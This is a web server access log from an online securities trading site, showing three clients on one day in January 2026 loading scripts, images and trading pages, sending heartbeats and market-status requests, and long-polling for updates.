[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:12:50:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767934487239 HTTP/1.1" 3188
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:12:50:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:12:50:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:12:50:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 207
[09/Jan/2026:12:50:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934490236 HTTP/1.1" -
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1573
[09/Jan/2026:12:50:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934491056 HTTP/1.1" -
[09/Jan/2026:12:50:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:50:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934495362 HTTP/1.1" -
[09/Jan/2026:12:50:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934496254 HTTP/1.1" -
[09/Jan/2026:12:50:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934500635 HTTP/1.1" -
[09/Jan/2026:12:50:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:50:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934501421 HTTP/1.1" -
[09/Jan/2026:12:50:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934505876 HTTP/1.1" -
[09/Jan/2026:12:50:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934506523 HTTP/1.1" -
[09/Jan/2026:12:50:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934511154 HTTP/1.1" -
[09/Jan/2026:12:50:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934511585 HTTP/1.1" -
[09/Jan/2026:12:50:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934516328 HTTP/1.1" -
[09/Jan/2026:12:50:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934516640 HTTP/1.1" -
[09/Jan/2026:12:50:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:50:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:50:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934521533 HTTP/1.1" -
[09/Jan/2026:12:50:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934521776 HTTP/1.1" -
[09/Jan/2026:12:50:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:50:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:50:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934526718 HTTP/1.1" -
[09/Jan/2026:12:50:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934526945 HTTP/1.1" -
[09/Jan/2026:12:51:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:51:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
